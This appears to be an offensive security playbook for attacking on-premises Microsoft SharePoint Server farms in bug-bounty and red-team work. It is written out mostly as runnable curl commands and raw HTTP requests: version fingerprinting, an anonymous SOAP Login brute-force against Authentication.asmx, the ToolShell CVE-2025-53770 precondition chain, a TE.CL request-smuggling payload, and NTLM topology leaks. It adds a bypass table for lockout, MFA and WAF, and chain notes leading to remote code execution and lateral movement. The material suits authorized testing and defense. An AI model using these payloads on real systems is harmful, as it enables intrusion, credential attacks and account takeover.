hunt-sharepoint

name	hunt-sharepoint
description	Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/).
sources	github, authorized-engagement
report_count	1

Crown Jewel Targets

SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:

1. End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build 15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
2. CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous /_layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous __REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
3. Custom branded login pages forget legacy SOAP login. /_vti_bin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.

Highest-value SharePoint targets:

• SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
• Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
• SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
• SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see hunt-ntlm-info) discloses the parent forest membership.
• Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.

Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.

---

Attack Surface Signals

Response-header fingerprints (any one is sufficient — usually multiple co-occur):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL / path fingerprints:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)

Body signals (in HTML responses):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

Tech-stack signals:

• Server: Microsoft-IIS/10.0 + paths starting with /_layouts/15/ → SharePoint 2013/2016/2019/SE
• AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
• WWW-Authenticate: NTLM on /_api/web/CurrentUser → dual-auth (Forms + NTLM); use hunt-ntlm-info for AD-topology disclosure
• *.test.<customer>.tld → test/staging mirror of production SharePoint; data often mirrored from prod

---

Step-by-Step Hunting Methodology

1. Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.

   # Method 1: _vti_inf.html (always anonymous, always present)
   curl -sk "https://target.example/_vti_inf.html"
   # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
   
   # Method 2: _api/contextinfo POST (anonymous on most farms)
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.LibraryVersion'
   # → "15.0.5545.1000" (full build number)
   
   # Method 3: /_layouts/15/start.aspx body
   curl -sk "https://target.example/_layouts/15/start.aspx" \
     | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"
   

   Map to CVE matrix:

   Build	Edition	Status	Notable unpatched-after-EoL CVEs
   15.0.5545.1000	SP2013 final CU	EoL 2023-04-11	CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794
   16.0.10416.x	SP2016	EoL 2026-07-14	depends on patch level
   16.0.10417.x+	SP2019 / SE	active	check Microsoft's monthly Patch Tuesday

2. Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.

   /_vti_inf.html                                          → version disclosure
   /_layouts/15/start.aspx                                 → version disclosure + session minting
   /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
   /_layouts/15/error.aspx                                 → request-validator behaviour probe
   /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/SignOut.aspx                               → logout — anonymous OK
   /_layouts/15/closeConnection.aspx                       → anonymous OK
   /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
   /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
   /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
   /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
   /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
   /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
   /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
   /_vti_bin/SharedAccess.asmx                             → often anonymous
   /_vti_bin/spsdisco.aspx                                 → SP service discovery
   /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
   /_api/$metadata                                         → 381KB API surface enumeration
   /_api/Search                                            → search service descriptor
   /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
   

3. Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:

   # First: confirm Mode = Forms (else this attack vector is N/A)
   curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
     -H "Content-Type: text/xml; charset=utf-8" \
     -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
     -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
   # → <ModeResult>Forms</ModeResult>  ← target is exploitable
   # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
   
   # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
   # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
   # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
   

   Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."

4. ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:

   # Sub-step a: anonymous GET on ToolPane.aspx
   curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
   # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
   # If both: precondition stack is anonymous-reachable.
   
   # Sub-step b: anonymous POST to /_api/contextinfo
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.FormDigestValue'
   # Should return a valid digest with 1800s validity.
   
   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
   curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
     -H "X-RequestDigest: <digest from step b>" \
     --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
   

   Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).

   IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The <machineKey> (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.

5. NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:

   # Use Burp send_http1_request with keep-alive, or Python raw socket
   # Anonymous Type-1 with NetBIOS-info request flag:
   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
   

   Severity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.

6. SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:

   • Type EXISTS but not whitelisted: "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
   • Type DOES NOT exist: "Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

   Feed a wordlist of Microsoft.SharePoint.*.WebControls.* and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.

   for cls in \
     "Microsoft.SharePoint.WebControls.PeopleEditor" \
     "Microsoft.SharePoint.WebControls.ItemPicker" \
     "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
     ; do
     curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
       | grep -oE "<title>[^<]+</title>"
   done
   

7. download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /_layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver, not a generic URL fetcher. Behaviours:

   • External URL (http://evil.example.com/x) → 500 with "The Web application at <URL> could not be found" — server tried to resolve as an SP web app, didn't fetch.
   • Same-origin file URL → 500 with "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" — server tried SPFile.OpenBinary, file not found.
   • Files matching the extension blocklist (.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
   • file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.

   The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.

   The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.

8. Custom-branding module enumeration. Customer-customised SP installations almost always have a /_layouts/15/<CustomerName>/ directory tree. Find the name from the login URL (e.g. /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → customer name is <CustomerName>). Then probe:

   for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
     curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
       "https://target.example/_layouts/15/CustomerName/$sub/"
     # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
   done
   

   JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).

9. Search service probe. /_api/Search returns a small JSON descriptor anonymously. /_api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.

10. Authenticated post-login surfaces (if you have valid credentials):

    • /_api/web/Lists — enumerate lists
    • /_api/web/SiteUsers — enumerate users
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — file enumeration
    • /_layouts/15/people.aspx — user listing
    • Custom customer-branded modules — check for IDOR, business logic
    • Workflow Services (/_api/SP.WorkflowServices.*)

---

Payload & Detection Patterns

Authentication.asmx Login (the canonical brute-force endpoint):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

Response codes:

• <ErrorCode>NoError</ErrorCode> → auth success; <CookieName>FedAuth</CookieName> and <TimeoutSeconds>...</TimeoutSeconds> follow
• <ErrorCode>PasswordNotMatch</ErrorCode> → auth fail (uniform for non-existent users too — no enum leak via error string)
• 500 + <faultstring>Value cannot be null. Parameter name: userName</faultstring> → empty username

ToolShell precondition reproduction:

# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.

Picker.aspx SafeControl recon:

curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..."    = does not exist

---

Common Root Causes

1. /_vti_bin/Authentication.asmx left enabled on the public-zone IIS binding. SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.

2. viewStateEncryption="Auto" on layouts pages. SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have __VIEWSTATEENCRYPTED="" — exploitable if machineKey leaks.

3. /_api/contextinfo POST accessible anonymously. SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.

4. NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.

5. SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).

6. <SafeControl> whitelist in web.config trusted as the only gate. Picker.aspx enforces an instanceof PickerDialog check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.

7. AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwards Transfer-Encoding to back-end IIS; IIS interprets Content-Length when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.

8. Default Windows-installer hostname (WIN-XXXXXXXXXXX) never renamed. Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.

9. Custom-branding module (/_layouts/15/<Customer>/) JS bundles loaded with ?v=YYYYMMDD query strings. The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.

10. Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.

---

Bypass Techniques

Defense	Bypass / Recon Strategy
Branded customlogin.aspx with lockout / CAPTCHA / MFA	/_vti_bin/Authentication.asmx legacy SOAP — none of those protections apply
WWW-Authenticate: NTLM requires authenticated callers	Default IIS extendedProtection=None lets you elicit the Type-2 challenge anonymously — see hunt-ntlm-info
MicrosoftSharePointTeamServices header stripped at ELB	Body of /_layouts/15/start.aspx leaks version anyway; also /_api/contextinfo's LibraryVersion
/_vti_bin/lists.asmx 403 (SharedAccess.asmx / Authentication.asmx still open)	Different services have different ACLs; enumerate all asmx separately
/_api/web/CurrentUser 401 with stack-trace JSON	Stack traces leak even on auth-deny responses; combine with version disclosure
Anonymous __REQUESTDIGEST issued (ToolShell precondition)	Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation
Custom error pages set	Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see hunt-aspnet)
WAF blocks < in query	Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts
Microsoft.SharePoint.WebPartPages.DataFormWebPart blocked via SafeControl patch	Enumerate SafeControl list; find a subclass that bypasses the inheritance gate
HTTP/2 H2.CL smuggling	AWS ALBs often don't advertise h2 ALPN — close that family early via openssl s_client -alpn h2,http/1.1
Authenticate.aspx wraps Source= in ReturnUrl	Test post-auth behavior with valid creds; pre-auth chain wraps everything safely

---

Gate 0 Validation

Before writing the report:

1. What can the attacker DO right now?

   • Authentication.asmx anonymous + no rate limit → Critical (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
   • Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → Critical (RCE via well-documented public exploit chain, no patch will ship)
   • NTLM Type-2 AD topology disclosure + default-Windows hostname → Medium
   • SP2013 EoL alone → Medium-Low (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
   • download.aspx URL echo without confirmed Collaborator callback → NOT SSRF — retract

2. Have you reproduced the full chain to attacker-attainable impact?

   • For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
   • For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
   • For NTLM: AV-pair decode showing AD-topology fields is sufficient.

3. Can you reproduce in <10 minutes from a clean shell?

   • Authentication.asmx: 2 curl commands.
   • ToolShell precondition: 3 curl commands.
   • NTLM Type-2: 1 Python snippet (the AV-pair decoder).

---

Real Impact Examples

Scenario A — a authorized SharePoint engagement against an EoL on-prem farm

Target: https://target-portal.example/ — SharePoint Server 2013 build 15.0.5545.1000 (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss importer) inside a corporate global AD (customer.parent-corp.example). Server hostname WIN-XXXXXXXXXXX (default Windows installer pattern).

11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:

1. Authentication.asmx anonymous credential brute-force — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
2. HTTP request smuggling TE.CL — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
3. ToolShell precondition chain — anonymous GET ToolPane.aspx (200) + anonymous POST /_api/contextinfo (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + __VIEWSTATEENCRYPTED="". Permanent zero-day on EoL SP2013.

Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (customer.parent-corp.example, WIN-XXXXXXXXXXX); SP2013 EoL exposure.

Scenario B — /_layouts/15/download.aspx?SourceUrl= recognized correctly as NOT-SSRF (saved-time example)

Same target. Initial scan flagged download.aspx?SourceUrl=http://oob.example.com/ as SSRF because the server echoed the URL in the 500 error title ("The Web application at http://oob.example.com/ could not be found"). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: download.aspx is an SP-internal SPWebApplication / SPFile resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the hunt-ssrf OOB-Or-It-Didn't-Happen Gate.

Scenario C — CVE-2019-0604 patch verification via Picker.aspx

Same target. Feeding Microsoft.SharePoint.WebPartPages.DataFormWebPart (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — meaning the type EXISTS and is reachable through reflection, but the dialog framework's instanceof PickerDialog patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.

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Cross-references

• Authentication.asmx legacy SOAP login → see hunt-auth-bypass Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
• NTLM Type-2 AD-topology disclosure → see hunt-ntlm-info for AV-pair decoder + severity rubric.
• ViewState dual-parser anti-pattern, machineKey recovery, request validator bypass → see hunt-aspnet.
• HTTP request smuggling on AWS ELB + IIS → see hunt-http-smuggling.
• OOB confirmation of any SSRF claim on SP → see hunt-ssrf OOB-Or-It-Didn't-Happen Gate.
• Engagement-type confirmation before treating hygiene findings as bug-bounty submissions → see bb-methodology PART 0 Mode-Confirmation Gate.

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Related Skills & Chains

• hunt-auth-bypass — Legacy SOAP /_vti_bin/Authentication.asmx accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → hunt-auth-bypass brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → /_layouts/15/ authenticated surface.
• hunt-ntlm-info — Every SharePoint farm advertises WWW-Authenticate: NTLM anonymously on /_vti_bin/. Chain primitive: SharePoint NTLM Type-2 challenge capture → hunt-ntlm-info AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into m365-entra-attack ROPC user-enumeration spray on tenant tied to that domain.
• hunt-aspnet — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → hunt-aspnet ViewState dual-parser MAC-bypass → deserialization gadget → RCE in w3wp.exe as farm account.
• hunt-rce — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (/_layouts/15/ToolPane.aspx?DisplayMode=Edit reachable via the CVE-2025-49706 auth bypass — a crafted Referer header pointing at ToolPane.aspx — + version vulnerable) → hunt-rce deserialization gadget chain → SYSTEM/farm-account shell → m365-entra-attack lateral via stolen on-prem service-account token to Entra-synced identity.
• triage-validation — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.